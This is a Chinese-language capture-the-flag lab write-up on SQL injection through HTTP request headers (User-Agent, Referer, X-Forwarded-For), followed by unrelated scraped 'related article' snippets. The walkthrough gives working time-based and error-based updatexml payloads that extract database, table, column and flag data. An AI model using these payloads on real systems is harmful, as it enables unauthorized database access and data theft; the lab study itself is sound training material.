Head注入(USERANGENT、Referer、X-forword-for)

article/2025/9/19 0:54:27

Head注入

靶场地址
原理:
head注入就是通过burp抓包,修改它的请求头useagent的数据来和数据库进行交互查询数据

第一题:

我们先查看url栏,没有get传参

再尝试post传参
在usename栏输入代码

' or 1=1 #

在这里插入图片描述发现usename不行查看源代码,可以通过password传参
在这里插入图片描述接着我们尝试头注入,查看源代码,发*现它使用了超全局变量$uagent = $_SERVER[‘HTTP_USER_AGENT’];并且它有个if语句必须要登陆才可以插入usergent语句,我们已经通过password找到了账号密码,并且登陆成功,所以直接用admin 和123456
在这里插入图片描述在这里插入图片描述利用谷歌插件,进行请求头修改

'or sleep(5),1)#

发现网页有明显的延迟,判断正确。
于是我们利用updatemlx()进行报错获取数据库名

'or updatexml(1,concat(0x7e,(select database())),1),1)#

获得数据库名:head_error
在这里插入图片描述再继续查表名,输入代码

'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where TABLE_SCHEMA='head_error')),1),1)#

在这里插入图片描述查出表名
flag_head
ip
refer
uagent
user

再查字段,把下面代码输入到谷歌插件中

'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where TABLE_NAME='flag_head')),1),1) #

在这里插入图片描述得出所有字段名:
id
flag_h1
于是直接用最后输入sql语句代码

'or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1) #

在这里插入图片描述所有flag为
zKaQ-YourHd,zKaQ-Refer,zKaQ-ip
验证为第一个

第一题完

第二题:

和第一题类似
首先找到登陆账号密码
在这里插入图片描述我们利用updatemlx()进行报错获取数据库名

'or updatexml(1,concat(0x7e,(select database())),1),1)#

然后直接用burp抓包修改refer,输入代码

'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where TABLE_SCHEMA='head_error')),1),1)#

在这里插入图片描述查询数据为
在这里插入图片描述得到所有表名
接着查列名

'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where TABLE_NAME='flag_head')),1),1) #

在这里插入图片描述得到列名中有flag
直接继续查数据

'or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1) #

在这里插入图片描述得到所有flag
在这里插入图片描述第二题和第一题区别就是一个修改useragent 一个修改refer

第二题完

第三题:

查看源代码
在这里插入图片描述在这里插入图片描述它这里替换的是ip
所以我们直接修改ip进行传参即可,我们用谷歌插件,X-Forwarded-For进行传参

在这里插入图片描述输入代码

'or updatexml(1,concat(0x7e,(select database())),1),1) #

在这里插入图片描述得到数据库名
我们继续查表名:
输入代码

'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where TABLE_SCHEMA='head_error')),1),1)#

在这里插入图片描述得到所有表名
接着查列名

'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where TABLE_NAME='flag_head')),1),1) #

在这里插入图片描述得到列名中有flag
直接继续查数据

'or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1) #

在这里插入图片描述但是最后一个flag并不是zKaQ-ipi,可能是长度不够,重新输入代码

'or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 2,1)),1),1) #

在这里插入图片描述
验证即,正确

第三题完


http://chatgpt.dhexx.cn/article/yEDOlkJ8.shtml

相关文章

SSH框架整合——strut2完成forword跳转

strut2固定是request的请求重定向方式进行跳转 如果界面中用forword来完成跳转&#xff1a;<jsp:forword page"index.action"/> 会报请求错误的异常&#xff0c;所以需要在web.xml中修改strut2的配置 <filter-mapping> <filter-name>struts2</f…

Response设置响应数据、Response完成重定向(对比 forword)、路径问题、Response响应字符数据、Response响应字节数据

文章目录 ResponseResponse 设置响应数据功能介绍Response 完成重定向与请求转发&#xff08;forword)对比路径问题Response 响应字符数据Response 响应字节数据 Response Response 设置响应数据功能介绍 响应数据分为 3 部分&#xff1a; 响应行&#xff1a; void setStatu…

idea做一个带有验证码的登录界面,包函forword转发和sendRedirect重定向方法

实现原理&#xff1a; 1.在网页上访问URL&#xff08;HTTP:localhost:8080/Login),服务器获取请求头Get,forword转发到&#xff08;HTTP:localhost:8080/Login.jsp)&#xff0c;在浏览器上显示登录窗口。 2.用户在浏览器填写用户信息&#xff0c;点击submit按钮以Post方式请求服…

JavaWeb-forword传送页面

登录静态页面 Login.html <!DOCTYPE html> <html> <head> <meta charset"UTF-8"> <title>Insert title here</title> </head> <body bgcolor"#FFFFFF"><div align"center"><form met…

转发forword和重定向redirect

转发forword 转发是浏览器发送http请求给服务器&#xff0c;服务器接受请求&#xff0c;在内部调用方法在完成请求处理和转发动作将目标资源发送给浏览器&#xff0c;整个过程浏览器对服务器的请求只有一次&#xff0c;该请求也可以转发n次&#xff0c;都是用同一对request和r…

forword和sendRedirect区别

forword和sendRedirect区别 forword forword()方法是转发&#xff0c;sendRedirect是重定向。 1&#xff09;浏览器访问Servlet1&#xff1b; 2&#xff09;Servlet1想让Servlet2对客户端的请求进行响应&#xff0c;于是调用forword()方法&#xff0c;将请求转发给Servlet2进行…

forword动作

forword动作 服务器内部跳转指令 语法为&#xff1a; <jsp:forword page "目标页面"> 等同于&#xff1a;request.getRequestDispatcher("目标页面").forword(request,response); 转载于:https://www.cnblogs.com/steakliu/p/9991292.html

请求 转发(forword)和重定向(redirect)

请求 转发forword和重定向redirect 两者含义两者区别总结 两者含义 forword转发&#xff1a; 服务器请求资源&#xff0c;直接访问目标地址的url&#xff0c;把那个url响应内容读取过来&#xff0c;然后把这些内容发给浏览器。所有的跳转在服务器实现&#xff0c;浏览器不知道…

原始LBP/Uniform LBP编程实现与直方图

此文章的完整代码网址&#xff1a; https://blog.csdn.net/Mimido_luoluo/article/details/108445700 LBP直方图 1.1 LBP直方图数据记录的介绍 LBP可以提取图片的纹理特征并且保存为一系列数字。通常以某个像素点为中心&#xff0c;观察其八邻域是比中心像素大还是小&#xf…

LBP基本原理与特征分析

转自&#xff1a;http://blog.csdn.net/songzitea/article/details/17686135 背景介绍 局部二值模式(Local binary patterns,LBP)是机器视觉领域中用于描述图像局部纹理特征的算子,具有旋转不变性和灰度不变性等显著的优点。它是由T. Ojala, M.Pietikinen, 和 D. Harwood [1][2…

BP算法和LMBP算法

BP算法 反向传播算法(BP算法)是一种监督学习算法&#xff0c;常被用来训练多层感知机。BP算法由两个环节&#xff08;激励传播、权重更新&#xff09;反复循环迭代&#xff0c;直到网络对输入的响应大到预定的目标范围为止。 激励传播包含&#xff1a;&#xff08;向前传播阶段…

LBP(局部二进制模式)

LBP(Local Binary Patterns ,局部二进制模式)是一种理论简单、计算高效的非参数局部纹理特征描述子。由于其具有较高的特征鉴别力和较低的计算复杂度&#xff0c; 近期获得了越来越多的关注&#xff0c;在图像分析、计算机视觉和模式识别领域得到了广泛的应用&#xff0c;尤其是…

图像特征(HOG、LBP、SIFT、SURF)

大纲 引言HOGLBPHARRSIFTSURF特征点获取特征点描述子总结 参考 引言 最近看了些使用将传统的人工特征用于脱机签名的特征提取文章&#xff0c;思路大差不差&#xff0c;都是从脱机签名中提取某种图像特征&#xff0c;再送入判别器进行判别。具体到提取的图像特征层面,当前的图…

对LBP与HOG的理解

LBP(Local Binary Pattern)&#xff0c;局部二值模式 一种描述图像局部纹理特征的算子 主要思想&#xff1a;&#xff1a; 通过比较图像区域中每个像素点与其邻域内像素点的灰度值&#xff0c;利用二进制模式表示的比较结果来描述图像的纹理特征。 keywords&#xff1a;邻域&…

浅谈LBP原理和代码(基于Python)

LBP&#xff0c;全称Local Binary Pattern&#xff0c;局部二值模式&#xff0c;是一种用来描述图像局部特征的算子&#xff0c;具有灰度不变性和旋转不变性的优点 原始LBP算法 33的矩形块&#xff0c;由1个中心像素和它周围的8个邻域像素组成&#xff0c;若相邻像素值大于或…

LBP原理加源码解析

没有看LBP之前觉得它很神秘&#xff0c;看完了之后也就那么回事&#xff0c;不过提出LBP的人确实很伟大&#xff01;&#xff01; LBP&#xff08;Local Binary Pattern&#xff0c;局部二值模式&#xff09;是一种用来描述图像局部纹理特征的算子&#xff1b;它具有旋转不变性…

局部二值模式LBP

文章目录 1.基础介绍2.局部二值模式&#xff08;Local Binary Patterns&#xff0c;LBP&#xff09;编码介绍3.使用skimage求lbp参考资料 欢迎访问个人网络日志&#x1f339;&#x1f339;知行空间&#x1f339;&#x1f339; 1.基础介绍 局部二值模式&#xff08;Local Binary…

LBP(Local Binary Pattern)

一、LBP指局部二值模式&#xff0c;英文全称&#xff1a;Local Binary Pattern&#xff0c;是一种用来描述图像局部特征的算子&#xff0c;LBP特征具有灰度不变性和旋转不变性等显著优点。在1994年提出&#xff0c;由于LBP特征计算简单、效果较好&#xff0c;因此LBP特征在计算…

Windows保护模式(一)段寄存器GDT表

保护模式 x86 CPU的3个模式&#xff1a;实模式、保护模式和虚拟8086模式。 段寄存器 段式内存管理 段式内存管理是将内存划分成若干段&#xff0c;处理器在访问一个内存单元时通过“段基址偏移”的方式计算出实际的物理地址。 在Intel x86处理器中&#xff0c;有专门的段寄存…